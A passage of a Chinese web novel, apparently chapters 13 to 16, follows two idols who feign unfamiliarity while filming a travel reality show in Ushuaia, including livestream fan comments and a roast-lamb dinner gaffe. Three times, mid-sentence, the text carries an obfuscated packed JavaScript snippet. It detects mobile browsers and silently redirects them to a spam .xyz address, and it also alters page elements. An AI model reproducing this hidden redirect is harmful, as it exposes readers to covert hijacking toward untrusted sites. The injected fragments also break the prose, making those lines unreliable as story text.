李问语的镜头转向款款走来的景亦同,景亦同那张英俊的脸上此时正眉头微蹙,他凝神看着手中的地图思索,手腕上搭着件外套,一双长腿走得步步生风,蓬松的发丝随着步伐飘逸而动,不像问路归来,倒像是在拍什么大片。 直到听见李问语叫他,景亦同才把注意力从地图上抽离,他注意到正对着自己拍摄的手机直播镜头,问道:“直播间开了?” 李问语:“刚开,正好粉丝们都在找你。” “不好意思啊大家,我来迟了,”景亦同笑着看向镜头,又对其他几人道,“我刚刚去问过路了,他们说左前方的街区有很多商铺,我们边走边看?” “OK。” 大家按照景亦同指的路,往沿街商铺走去,虽然《世界之大》之前已经零零散散录制了两天,但基本都是在赶路中,大家互相之间交流并不多,因此严格说起来,今天才是正式录制的第一天。 方新故原以为生疏的几人走在一起难免会有些尴尬,好在今天掌镜的是性格外向的李问语,她拿着直播用的手机,时不时拍拍街边的风景和几位嘉宾,再跟罗达一起唱几段双簧,全程丝毫没有冷场的迹象。 但走到最后大家还是有点摸不准方向,在节目组再次拒绝提供帮助后,几人集体谴责了节目组一番,最后只好派出景亦同再次向路人求助。 李问语一脸感动地把手机镜头对准景亦同:“天呐,这个世界不能没有景哥。” 罗达在旁边一唱一和:“咱们景老师,一款居家旅行必备好物!” 方新故挑眉,下意识接话:“‘居家’?” 李问语反应过来不对劲,嘎嘎大笑:“怎么就快进到‘居家’了?景哥的‘居家’功能还亟待开发哈哈哈。” 几句话惹得大家都笑了,唯独方新故用余光瞄向景亦同,心想景亦同在“居家”方面的功能确实也是顶配。 恰好景亦同问完路回来,就看到正在大笑的几人,他好奇:“笑什么呢?” 李问语笑脸一僵,也不好意思当着正主的面蛐蛐人,只是道:“……我们就是在夸你特别厉害,还会说西语。” 景亦同随口道:“正好以前学过,这次也是派上用场了。” 李问语追问:“是小时候学的吗?你怎么会想到要学西语?” 景亦同下意识看了方新故一眼,两人视线交错的一瞬间,一段往事霎时浮现在方新故脑海中,他尴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060122|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尬地挪开视线—— 景亦同学西语这事还是因为他。 记得应该是哪一年的暑假,景亦同的母亲宋皎给他们请了法语老师,想让他们一起学门二外,结果他非说两个人学同一种语言太浪费,如果他们学习两门不同的语言,以后一起出国旅游的时候就能听懂更多语言了。 景母哭笑不得,倒是景亦同一如既往地认可了他的观点,最后主动去学习西语,而且一直坚持了很久,到现在甚至能跟母语使用者无障碍交流,反倒是方新故学法语学得半途而废。 一想到这些往事,方新故就觉得以前的自己是真能折腾,也不知道景亦同是怎么受得了他的。 好在景亦同不可能当众吐露这些往事,只是随便找了个回答搪塞过李问语的问题。 几人又往前走了一段,景亦同趁没有镜头注意自己,偷偷用手机问方新故:刚才我去问路的时候你们聊什么呢,笑这么开心? 方新故感觉贴在自己口袋里的手机一阵振动,他拿起手机就看到了景亦同的消息。 方新故回味着刚才的对话,觉得有些好笑,他揶揄地回复:他们在物化你。 景亦同:? 方新故:等节目播出了你自己看吧[请看vcr.gif] 说完,他关上手机快步走了,景亦同看着他突然离开的背影,无奈地笑了。 此时正值南半球的夏季,但乌斯怀亚位于中高纬度地区,空气常年弥漫着冷气。作为地球最南端的城市,乌斯怀亚依山傍海,连空气中都弥漫着海洋的气息。 几人又走了十多分钟,在经过一个拐角后,广阔无垠的大海终于呈现在众人面前,李问语眼前一亮,朝着大海快步跑过去:“能看到海了耶,那是渔船吗?” “哦哦,那里还有灯塔。” 景亦同缀在最后,看着几人穿过马路奔向海岸边,兴奋地欣赏着这座海港城市的风景。 但到最后,他的目光还是落在了方新故身上。 今天的日光格外偏爱方新故,当方新故仰头专注地看向天空中展翅而过的信天翁时,错落的光影在他脸上交织出一片跃动的明暗,模糊了他的轮廓线条,却让他整个人都散发出一股圣洁的光芒。他澄澈的瞳孔在光线下变成了剔透的琥珀色,根根分明的睫毛如同羽扇般忽闪着,甚至连发丝都染上了太阳金色的光泽。 方新故的视线追随着空中信天翁的身影,直到海鸟消失在视野中,他的目光才重回人间。 景亦同这就么盯着方新故的面庞,直到方新故似乎是感受到了这如有实质的目光,他偏过头,和景亦同的视线在半空中撞上,但景亦同的目光却不曾挪开分毫。 方新故见景亦同直勾勾盯着自己,还以为他有什么话要对自己说,就迷茫地歪头眨了眨眼。 谁知景亦同看着他忽然笑了。 那笑容显然扰乱了方新故的心神,下意识的,方新故脸上的表情一松,也回应了些许笑意。 就在这时,两人身侧突然有道强光闪了闪。 这突兀的动静一下打破了方新故和景亦同之间安静的氛围,两人回过神来,转头就见李问语不知何时举了个拍立得,此时正鬼鬼祟祟地企图把相机藏起来,一副做贼心虚的模样。 方新故一下就反应过来了,他眯眼:“偷拍还开闪光灯?” 李问语炸毛,虚张声势道:“怎么可能!谁要拍你!” 景亦同好笑地看着她:“哦,那难道是拍我?” 李问语:…… 李问语支支吾吾:“都拍了不行吗?” 14. 第 14 章 方新故朝李问语走过来:“什么叫‘都拍了’?你到底偷拍了什么?” 李问语脖子一缩:“师兄,都一个公司的,怎么能叫偷呢?” 景亦同嘶了一声:“没记错的话,我们好像不是一个公司的吧?” 李问语正语塞时,只听拍立得咔的一声,相当不给面子地吐出了一张相纸,李问语迅速抽出来窝进自己手心里藏好。 方新故已经走到她跟前:“把罪证拿出来吧。” 李问语撇嘴:“就是拍一下你俩,怎么这么小气,那么美好的画面还不让人拍了。” 方新故额角一抽,那画面怎么就美好了?他刚才不就是看了景亦同一眼,也没怎么样吧? 但方新故心里多少还是有点心虚,他朝李问语伸出手,指尖微微往上一抬,做了一个要照片的动作。 李问语后退一步,拍拍自己胸前口袋的直播镜头:“我警告你,直播的镜头可还在我这儿呢,不管你做什么,我的‘执法记录仪’都会忠实地记录下你的暴行!” 她这么一说,方新故还真有点被唬住了,他多了一丝顾忌,但面上还是一副理直气壮的样子:“怎么就暴行了,我不就想看看你拍的照片吗?拍得不好就原地销毁。” “怎么能销毁?你知道现在相纸多贵吗!你知道现在相纸有多难买吗!”李问语跳脚,举着照片就朝比较随和的景亦同跑去,“景哥救我!” 但景亦同根本没站在她这边,他直接用食指和中指从李问语手上轻松夹走照片。 手上一空的李问语:…… 景亦同悠哉道:“正好,我也想看看。” 李问语双手合十求饶:“两位大哥,就算拍得不好,等会也请给我和它留条活路行吗?” 方新故也走过来:“先看到成片再说。” 于是三个脑袋凑在一起盯着景亦同的手,大约十几秒钟后,景亦同缓缓挪开捂着照片的掌心,一张显色成功的相纸终于呈现在三人面前。 照片中景亦同和方新故站在两侧,隔着一个人的身位对望着,远处还有展翅翱翔的信天翁,景亦同脸上是舒展又明快的笑意,深邃的眼眸中带着说不清道不明的温柔,而方新故的表情则看起来很轻松,有别于他以往清冽的气质,微微扬起的嘴角更是将他的好心情显露无疑, 拍立得从不以清晰著称,反而带着一股独特的朦胧美和故事感,此时这种朦胧更是将照片中两人的氛围衬托得暧昧不清,整个画面确实看起来非常美好。 李问语“哇”了一声,激动道:“不愧是我,拍得真好!” 她眼中全然没有对两人之间旖旎氛围的疑惑,全是对自己拍照技术的肯定。 景亦同的视线没从照片上挪开,却也认可地点头:“是很好看。” 唯独方新故默不作声地将下半张脸埋进围巾里,他看景亦同的时候表情是这样的吗?有这么轻松开心吗? 他不说话,李问语也得来招惹他:“怎么样师兄,这照片拍得好吧?” 方新故第一次庆幸幸好拍立得的画质比较低,只能隐约看清人的表情,他干巴巴道:“还行。” “岂止是还行!”李问语把照片往直播镜头前展示,“大家评评理,这照片拍得好吧,放网上卖都能发笔横财,哼哼。” 方新故鄙视她:“你有没有素质?坑粉丝的钱。” 此时直播间里一片沸腾—— “来坑我来坑我!我自愿被坑啊啊啊!” “妹妹简直大摄影师,随手一拍就是神迹,太有氛围感了!” “景美人更美啊啊啊,蹲一个扫图,我也好想拥有[咬手绢]” “哈哈哈妹妹可以直接把拍立得剪成两半,一半卖给故丝一半卖给同丝,赚两分钱岂不美哉。” “干嘛要剪,直接卖给cpf不就好了。” “?这两个人哪儿来的cpf,纯拉郎啊?” “怎么不能嗑?有如此般配的两张脸进入内娱嘻嘻。” “我只能说嗑方新故cp的有难了……他在Nb的时候就是出了名的不麦,cp个顶个的男科。” “男团不麦麸不如回家种红薯[点蜡]” “只有我好奇这两个人为什么突然深情对视吗?” “问语妹妹我求你调整一下直播镜头,刚才啥都没拍到,不然就能知道这两个人对视的前因后果了呜呜。” “节目组肯定也有摄像跟着,到时候直接看正片吧。” “我之前还想这节目搞了直播,到时候还有人看正片吗?现在看来直播简直是在给正片做预热。” “深情对视个P,就是两个人看了彼此一眼,正好被李问语抓拍到了罢了。” “景亦同从来不炒cp哈,劝你们cp脑上头的,多重温几遍上次直播方新故见到景亦同就挂脸的片段。” “这辈子没吃过苦的人可以来嗑一下方新故的cp哈哈。” “逆反了,本来只是路过随便蹭一口,但是wf越不让嗑我越要嗑[鬼脸]” 节目仍在录制中,几人尚不知道直播间里在争论什么,此时乌斯怀亚的街道上,那台拍立得不知何时已经到了方新故手上,而李问语站在桥上摆pose,景亦同则两手提着他们的东西。 一张照片生成,李问语满脸期待地跑过来,结果看到成片后直接傻眼,她指着照片暴怒质问方新故:“你给我拍的这是什么!!” 方新故一看才发现照片曝光了。 摄像大哥也凑了过来,想要拍一拍这张让李问语勃然大怒的拍立得,方新故忙用手遮住照片,想给李问语的形象和自己的摄影技术保留最后的体面。 李问语不领情:“现在遮住已经迟了,刚才我的直播镜头肯定也拍到了!” 景亦同看得好笑:“我来给你拍吧。” 李问语叹了口气:“景哥,我信你一次。” 方新故和景亦同交换了手上的东西,景亦同举着拍立得半蹲下身,调整过拍摄角度后,他摁下快门,拍立得吐出一张相纸,景亦同递给李问语:“看看拍得怎么样?” 拍立得显出了一张很好看的照片,明媚的少女元气满满地站在蓝天之下,连被风吹起的衣角都带着活泼的气息,整张照片的人像、景色和构图都相当协调。 李问语看到成像后的照片眼睛一亮:“不愧是我,好看!” 方新故听出了不对:“刚才你拍得好是你的功劳,现在你被别人拍得好,还是你的功劳,就你哪儿哪儿都厉害?” 李问语躲到景亦同身后:“我可没有抢功的意思,而且景哥都没说话,要你打抱不平!”说完,她收好照片一溜烟跑了。 听到这话,景亦同若有所思地看向方新故,笑道:“你是在给我打抱不平?” 方新故尴尬地收回视线,小声嘀咕:“谁要给你打抱不平……” . 一路闲散地逛了将近半小时,一行人终于走到商业街区,这片街道中的房屋色彩艳丽,不同色系拼搭在一起也不显突兀,反倒在撞色中凸显了别致的南美风情。 孟回和梁寄言站在一家店门外张望着橱窗中的商品,回头对其他几人道:“这家店里好像都是卖手工编织品的,也有帽子围巾,我们进去看看?” 罗达:“好啊。” 叮铃。 门口的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060123|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风铃响起,一行人走进店铺中。 这家店的店面并不大,站了七个人并两位摄像大哥后,几乎就占满了所有空地,好在店家很热情地同意了他们的拍摄。 这家店铺中的手工品如同街道中的房子一样色彩斑斓,用色非常大胆,各种明亮的红色、绿色、橙色,放在平常绝不是方新故会选购的色系,但这次毕竟算是出来游玩,总得买一些有当地特色的工艺品。 方新故在店铺里逛了一圈,见汪裴阳站在角落的柜台边,他走过去看了几眼,发现这里的商品有些奇怪,帽子不是特别大就是特别小,而且有深有浅,造型还很夸张。 汪裴阳拿了一顶帽子在自己头上比划,戴上后又照照镜子,嫌弃地皱起脸:“好奇怪的帽子。” 方新故看着汪裴阳古怪的造型,出声提醒:“应该是宠物用品。” 汪裴阳呆住:“啊?” 李问语举着直播用的手机走过来:“是哦,刚才店家说了,这个柜子里的都是宠物用品。” 汪裴阳迅速摘下帽子放回原位:“唐突了。” 李问语哈哈笑着:“你不养宠物所以没经验嘛,不像我师兄,到底是养了萨摩耶的人,一眼就认出了是宠物用品。” 方新故强调:“不是我养的,是……家里人养的。” 李问语心想家里养的狗跟你养的有什么区别?她敷衍道:“好好好,家里人养的,师兄你不给狗带一件礼物回去吗?这些颜色都很亮眼,就适合耶耶这种冷白皮。” “嗯,正在看。” 恰好这时景亦同从三人身旁路过,李问语扭头问他:“景哥家里有养宠物吗?” “养了只狗,怎么了?”景亦同停下脚步,看到他们手中的商品很快反应过来,“在挑宠物用品?” “是啊,”汪裴阳好奇,“景老师养的什么狗?” 景亦同随口回答:“萨摩耶。” 方新故后背一僵,拼命给景亦同使眼色,让他少说两句。 景亦同接收到方新故的信号,挑了下眉,当即明白了他的意思,没再多透露有关圈圈的信息。 反倒是李问语意外道:“景哥也养的萨摩耶?我师兄也养了一只。” 汪裴阳帮方新故再次强调:“是他家里人养的。” 李问语不走心地附和:“对对,家里人养的。” 景亦同听得想笑,还故意拉长语调重复了一遍:“哦,家里人养的啊~” 方新故恨不得把头埋进围巾里。 李问语和汪裴阳很快离开,只留下方新故和景亦同这两个养了宠物的人站在柜台边。 想到李问语和她的直播镜头终于走了,方新故这才松了口气,准备给圈圈挑一顶适合它的帽子。 他看中了一顶红色的编织帽,帽顶还支棱着一棵立体小草,他已经能想象圈圈戴上这个帽子后,在草地上奔跑时帽顶的小草东倒西歪的场景。 一定很可爱。 但这时,旁边的景亦同突然冷不丁评价:“给狗买?它头那么大,估计戴不下吧。” 方新故这才想起来自己忘记看尺寸了,这个帽子确实小了一号,但他还是忍不住睨了景亦同一眼,嗔怪道:“哪有你这么……”说自家孩子的? 但说到一半,他瞥到突然出现在景亦同身后的、正扛着摄像机对着他们拍的跟拍大哥。 要命,差点忘了现在还在录节目,除了李问语手上那个直播镜头外,现在他们身边到处都是随时可能出现的摄像镜头。 方新故一顿,囫囵把剩下半句话咽回肚子,大脑飞速运转后,硬生生对景亦同改口道:“……哪有你这么多管闲事的?” 15. 第 15 章 景亦同顿了下,刚想问方新故干嘛说话这么难听,脸上表情还这么难看,就通过橱窗玻璃的反光,发现自己身后不知何时多了个跟拍的摄像大哥。 此时再联系刚才方新故话中生硬的转折,一切都显得清晰起来。 景亦同心里有了数,但看着方新故的苦瓜脸,还是差点笑出来。 方新故瞥见他快要绷不住的嘴角,当即借着橱柜的遮挡,用膝盖撞了一下他的腿,景亦同这才深吸一口气,抿着嘴唇强忍住笑意,身体却还是控制不住地抖了两下。 方新故红着脸瞪他:专业演员怎么能笑场! 景亦同耸肩:再优秀的演员也很难不笑场啊! 方新故又瞄了一眼摄像大哥,这下他帽子也买不下去了,飞速逃离现场。 景亦同没敢看他逃跑的背影,怕自己笑出声,他垂着头盯着货架上的帽子静静缓了很久,终于压下了笑意。 落荒而逃的方新故此时已经独自跑出了商铺,毕竟店面有限,走来走去都是人,他也不想继续待在里面人挤人,跟工作人员打了个招呼,就独自踱步到街道的另一侧,半靠在护栏上眺望海景。 咸湿的空气中夹杂着些许腥味,凛冽的风带来极地冰川的寒意。 前段时间忙于工作,后来又一直在江城修养身体,方新故已经很久没看过海了,此时看着乌斯怀亚风平浪静的海湾,他感觉自己的情绪也放松了下来。 “方老师在看什么?” 听到有人叫自己,方新故回头才发现原来是跟拍PD追着过来了,于是他指着远处:“在看灯塔,那是也格来日斯灯塔吗?” 摄像把相机对准了海岸边的灯塔,相当配合地摇了摇镜头:“那个不是,明天我们会乘船去观看也格来日斯灯塔的。” 方新故点头,就这样托着下巴,放空大脑什么都不去想,只是安静地看着,任凭思绪和海水一起游荡。 这时,其他人也陆续从店铺里走了出来,景亦同率先推门而出,一抬眼就看到马路对面方新故靠在栏杆上的背影。 有海风吹过,拂动起方新故的发丝,但他却如同静止了一般,只是沉静地远眺着远处的海景,明明周围围绕着不少忙碌的工作人员,但方新故的背影看起来却有些孤独,与身旁的一切都格格不入。 这时,方新故身侧的工作人员不知跟他说了什么,方新故侧过脸看着对方认真回答问题,整个人在这一刻也终于有了温度。 景亦同就这么看着方新故,不免想到其实方新故从小到大就是这样的,他身上有一种沉静的气质,在人群中也不爱说话,却从不会让人觉得他孤僻,甚至还吸引了很多朋友。 景亦同站在门口愣神的功夫,彻底把店铺只够单人通行的门给堵死了,李问语被拦在景亦同身后,她探了个脑袋出来:“景哥你怎么不走?” 他这才回过神来,推着门退到一边让大家通行,却没有多解释。 听到身后的动静,方新故也回归大部队:“东西都买好了?” 罗达拍拍自己头顶的黑色绒线帽:“收获颇丰,有了帽子就是暖和。” 孟回手里拎着个牛皮纸袋,指指里面装着的亮色手工编织品,对罗达道:“来这儿就该买些颜色鲜艳的嘛,你怎么买个黑色的帽子。” 李问语戴上自己新买的橘色针织帽附和孟回:“太普通了,还有寄言姐也是。” 梁寄言脖子上围着卡其棕的新围巾:“经典永不过时。” 汪裴阳看方新故两手空空,好奇道:“方老师最后什么都没买吗?我刚看你还在挑小狗帽子?” 方新故瞄到景亦同购物袋里的樱桃红围兜,一看就是给圈圈准备的,于是他道:“它有一个就够了。” 好在没人多想这句话中的深意,几人嬉笑聊着,最后还是工作人员提示:“节目组已经准备好晚饭了哦,大家现在出发吧,还要往西走点。” “哇!”李问语高兴道,“逛完街就有晚饭吃,这节目算是来对了!” 梁寄言问:“今天不是大家各自在酒店吃晚饭吗?” 原本今天没有录制,节目组也想着大家都要倒时差,就没特地安排一起吃晚饭,谁知几个嘉宾自己给自己“加戏”,主动组团出来逛街,节目组也没有浪费机会,刚才趁七人慢悠悠逛街的功夫,已经安排好了晚餐的去处。 景亦同笑着冲工作人员抱拳:“辛苦各位老师了,还跟着我们出来加班。” 方新故大手一挥:“必须让严导给大家加工资。” 此话获得了工作人员的一致认可:“哈哈哈哈好!” “严导听到没,我方哥点你呢!” 严途:? . 虽说节目组准备好了晚餐,但毕竟是临时找的餐厅,大家本以为不用对环境和口味抱太大期望,没想到在节目组的指引下,他们穿过乌斯怀亚的街道小巷,来到了一处精致的别墅外。 别墅庭院中娇艳的花朵迎风招摇,院子角落里栽种着几棵一人高的树,造型修剪得像蘑菇一样圆润,草丛中有几只小兔子在嚼草料,不远处还有一幢小小的红顶蘑菇屋,一只大狗趴在里面打盹,旁边还搭着个白色的秋千在风中微微晃动。 李问语甚至不敢用力呼吸,她小声问:“你们瞒着我们找到童话屋了?” 严途满脸写着得意:“怎么样,这地方不错吧?” “出乎意料的好,”孟回显然也很喜欢,还没进门,就已经拿出手机拍了起来,“难为你们短时间内找到这么好的地方了。” 严途:“不止景色好,等会儿的晚饭也不会让你们失望的,快进去吧。” 李问语如梦初醒,拉着梁寄言和孟回冲进院子里四处探索,时不时发出一些夸张的赞叹,到处都是欢闹的声音,连方新故都抓了些饲料蹲在草地上喂兔子,静谧的童话世界因为几人的到来顿时充满生机,一下变得热闹起来, 他们进门没多久,别墅中就开始陆续上菜,几人也没再继续玩闹,纷纷来到餐桌前鱼贯入座。那是一张长桌并七把椅子,两头各留一个座位,一侧的长边是剩下五个位置,另一侧的长边则显然是留给剧组的拍摄机位。 方新故洗完手回来,就看到其他六个人已经火速落座,速度之快令他错愕,最后餐桌前只剩下最中心的C位没人坐。 他皱起眉,显然也不太想坐这个正中间的位置,在座有这么多前辈,又是大家第一次集体用餐,这时候谁坐这个C位都有可能惹人非议,他也不想给自己找麻烦。 可他左看看右看看,发现其他人都在顾左右而言他,分明也都不想坐正中间,连景亦同都只是似笑非笑地看他,却丝毫没有起身跟他换位置的意思。 于是方新故盯着那个留给他的C位宝座沉默良久,最后无语地笑了。 这笑声让其他几人的目光全都落到他身上,在无声的对视中,大家显然读懂了彼此的小心思,气氛当即从尴尬变得搞笑,所有人一起笑了出来。 方新故给他们比了个大拇指:“我谢谢你们了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060124|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>罗达冲他挤眉弄眼:“唯一的C位留给唯一C位出道的选手,合理。” 李问语听了不开心了:“我这个第三名出道的就不配呗!” 方新故拉开最中间的椅子,马上朝李问语比划了一个“请”的手势:“让给你。” 李问语立马低头装鹌鹑:“我觉得第三名出道也挺好的。” 在笑声中,方新故最后还是硬着头皮在C位上坐下。 一道道菜品陆续上桌,菜色口味还真不错,加上这几天大家都在赶路,很久没有正常吃饭了,因此几道前菜基本一上桌就空了。 李问语最忙,吃饭的时候还不忘自己的直播重任,叉了一筷子菜怼到镜头前:“观众朋友们先吃……啊啊啊那个帝王蟹的蟹腿给我留一口!” 方新故实在看不下去,找了个支架帮李问语把直播镜头固定在桌子的一角,不仅解放了李问语的双手,还正好能让所有人都入镜。 就在大家把桌上的餐盘扫荡一空仍意犹未尽之时,一股扑鼻的肉香味霸道地溢满了整个庭院,几人一起抬起头寻找香味来源,就见有人端着一个铁架子走了进来。 罗达吸吸鼻子,在看清菜品的一瞬间眼睛都直了:“烤全羊!” 烤全羊的杀伤力太强了,一股香味登时窜进每个人的鼻腔,闻得人食指大动,他们霎时觉得刚才吃进胃里的东西消化一空,脸上流露出了对烤全羊的渴望。 景亦同看着烤全羊,隐晦地对方新故道:“有口福了啊。” 闻言,方新故也笑了。 他确实是有口福了,之前景亦同在燕省拍戏时,给他看过剧组吃烤全羊的照片,当时方新故就馋得很,只是后来不了了之了,没想到这次来乌斯怀亚,竟然还有吃烤全羊的机会。 李问语已经在咽口水了:“我现在感觉我能一口气全吃完这只羊。” 倒是孟回摆手:“年纪大了这种东西我是吃不了的,等会儿你们多吃点吧。” 几人不太走心地表达了一番对孟回不能吃烤全羊的遗憾之情,说完注意力又全回到了香喷喷的烤全羊上,只是都矜持地没有上手。 毕竟这是一整只的烤全羊,怎么下手、谁先下手,都是有讲究的,但是谁都不想开这个头。 眼看着烤全羊将在寒风中变凉,最后还是不想暴殄天物的方新故承受了一切。 烤全羊是道硬菜,此时被放在了餐桌的正中间,也就是方新故的面前,香味直往方新故鼻子里钻。 可大家又都不动手,方新故只好叹了口气,认命地站起身。 他戴上手套身先士卒,先是把四个羊腿扯下来,挨个递给罗达、梁寄言、李问语和汪裴阳。 方新故无奈:“都吃吧。” 几人笑嘻嘻:“谢谢新故!” 方新故分羊腿分得认真,却唯独略过了景亦同,像是完全没注意到他的存在。 景亦同顿时有点酸溜溜的:就这么直接跳过我了? 方新故以前从没有这样忽视过他。 景亦同心里不是滋味,就故意出声吸引方新故的注意:“我的呢?” 方新故没反应过来,他转头看向景亦同:“……你说羊肉?” 景亦同状似十分期待地眨眨眼,还把自己的餐盘朝方新故的方向托起来:“嗯。” 方新故皱起脸,露出了一个堪称嫌弃的表情——你又不吃羊肉,在这儿闹什么? 方新故懒得搭理他,只甩给他一个蟹腿,随后无情回头:“羊肉没你的份。” 16. 第 16 章 方新故自己不觉得自己说了什么,因为这就是他和景亦同的相处模式。 由于他这个人经常淡淡的,景亦同就时常会想出各种法子逗他,方新故偶尔被他惹烦了,就会白他一眼锤他两下。 此时,景亦同被方新故骂了一句,倒是心里舒坦了,继续低头吃饭,但在座其他人全都看愣了。 卧槽,刚才发生了什么? 方新故是不是直接态度特别差地怼了景亦同? 被分到羊腿的四个人更是呆愣地坐着,碗里的羊腿吃也不是不吃也不是,四人面面相觑,终于意识到事情不对劲。 一只羊四只腿,他们七个人中,除了孟回明确表达不吃外,其他六个人分四只腿,任谁上来都得纠结一下该怎么分。就算方新故在分羊腿的时候没考虑自己,那也还有五个人呢,可刚才他就这么直接跳过了景亦同。 尤其方新故分羊腿的动作实在太自然了,他甚至都没考虑可以把羊肉片成片,没有半点犹豫就决定了四只羊腿的去向,导致其他四人也没意识到在这个过程中,景亦同被完全忽略了。 诡异的氛围当即萦绕在小餐桌上。对啊,方新故怎么想的? 古有二桃杀三士,现有四腿毒五人。 到这时候,方新故也终于意识到不对劲——虽然他知道景亦同不吃羊肉,但其他人不知道啊! 况且景亦同从未在镜头前说过自己不吃羊肉,连粉丝都不知道他的这个忌口,方新故这个跟景亦同“不熟”的人,又是怎么知道这个细节的? 整个录制组霎时安静下来,方新故低头对着只剩躯干的烤全羊陷入沉思。 完蛋,现在该怎么圆回来。 方新故憋了半天,憋出来一句:“那肋条给你?” 景亦同微笑:“谢谢方老师,我不吃羊肉,我吃蟹腿就够了。” 方新故:…… 其他人:…… 方新故深吸一口气,已经想要揍景亦同了。 其他人更是懵逼,不是,景亦同到底是真不吃羊肉,还是想给方新故一个台阶下? 如果是前者,那刚才景亦同莫名其妙跟方新故要羊肉干嘛?如果是后者,那刚才方新故确实做得有点过分,甚至都让景亦同这个前辈下不来台了。 一时间没人敢说话,景亦同见大家僵着不同,这才又重复一遍:“我真不吃,大家继续吧。” “啊哈哈,好、好……大家继续吃、继续吃。” 一顿饭就这么不尴不尬地吃了下去,低沉的气压甚至让直播间里的观众都不敢呼吸。 “好诡异的场景,害怕。” “啥意思,景亦同到底吃不吃羊肉,有没有同丝出来说说?” “jyt六年老粉,他从来没说过自己不吃羊肉。” “所以方新故分羊腿就是在故意针对景亦同吧?” “……万一是方新故知道景亦同不吃羊肉呢?” “笑死,这种洗白的话术你们说出来自己不会笑吗?[笑哭]” “jyt肯定吃啊,不然他刚才又是说‘有口福了’,又是跟方新故要羊肉是干嘛?后面就是为了打圆场,才找补说自己不吃羊肉。” “所以方新故真跟景亦同有过节吧,已经看到他对着景亦同挂脸好几次了。” “心疼死我了,jyt只是想吃点羊肉罢了,方新故好蛮横[流泪]” “我真服了男宝妈,方新故虽然没给景亦同羊腿,但不是给他蟹腿了吗?” “补药啊,明明下午还拍了绝美合照,怎么晚上就拆家了,把cpf骗进来杀啊!” “真人秀果然是照妖镜,fxg看到比他咖位低的就讨好拉拢,看到比自己咖位高的就摆个臭脸,你们看他对着李问语汪裴阳和对着景亦同的时候,完全两幅面孔哈。” “???黑人之前能不能讲点基本逻辑?如果真是这样,那我请问方新故这么做的意义是?” “其实jyt应该真的不吃羊肉,我有个朋友在《绿水川》剧组当场务,他确实说过jyt好像不吃羊肉。” “故丝又来无中生友了?” “同丝请注意,‘不吃羊肉’这句话是景亦同自己说出来的。” “那‘没你的份’这句话也是方新故自己说出来,方新故本来就不尊重前辈,故丝别洗了。” 两边粉丝在各路牛鬼蛇神的拱火之下越吵越凶,很多不明情况的路人见了,还真以为两人成了对家,虽然左思右想也不明白这两人能有什么冲突,只能归结于他们或许曾在镜头外结下了什么梁子。 等到了晚上录制结束,方新故回到酒店打开手机,才发现收到了不少他和景亦同的共同好友发来的消息。 方家和景家是世交,这么多年来,大家也知道他和景亦同的关系有多好,如今见两人上了同一档节目,对彼此却冷冷淡淡,网上还闹得这么凶,只当是他们俩最近吵架了,于是纷纷来劝架。 可这些人说的话都语焉不详,分明话里有话,却就是不肯说明白。 方新故被他们这态度弄得一头雾水,简单解释后还想追问他们,可这群人却很警觉,打着哈哈原地遁走,无论方新故再怎么骚扰,他们都装死不说话。 唯有许素波最直接,她上来就问:你和景亦同在干嘛? 方新故死要面子:没什么。 许素波一针见血:别告诉我你俩在装不熟,然后你还差点露馅了[微笑] 方新故:……昂。 许素波:6,我服了你俩[抱拳] 方新故在床上翻来覆去,犹豫再三,还是跟许素波说出了自己的心声:你说景亦同为什么一声不吭就跑来跟我录同一个综艺了? 许素波也傻了:你事先不知道? 方新故:嗯,说是节目组要求他保密。 远在美国的许素波对着手机露出了思索的神色,保密这种事,瞒着其他人情有可原,但有必要瞒着方新故吗? 不对劲,非常不对劲。 方新故不对劲她是知道,但她怎么感觉景亦同也不太对劲。 许素波一手叉着腰,一手翻动自己前段时间和方新故的聊天记录,又打开几个社交媒体看了几个景亦同和方新故同框的直播截屏,总感觉自己可能忽略了什么关键的线索。 但到底是什么? 她眉头紧锁地在屋里来回踱步,过了半晌,她突然站定,问道:要不我帮你去打听一下,景家准备找谁联姻? 方新故:……你能打听到什么? 许素波高考过后就出国了,跟以前的同学基本都断了联系,方新故要真相知道此事,直接自己去打听,那不比许素波方便多了? 只是他鸵鸟心态上来,反正景亦同又不是要跟他联姻,他才不关心景亦同要跟谁结婚。 可许素波还不死心,方新故连忙转移话题:不用管我这些小事,你不是还有大半个月就要办婚礼了吗,筹备得怎么样了? 说到婚礼,许素波的注意力果然马上被转移,她攒了一肚子怨气,倒豆子似的跟方新故吐槽,从婚纱到场地几乎把每件事都数落了一遍,连坐在她边上相当无辜的未婚夫都没逃过一劫,被她臭骂一顿。 聊到最后,许素波强调道:我婚礼你一 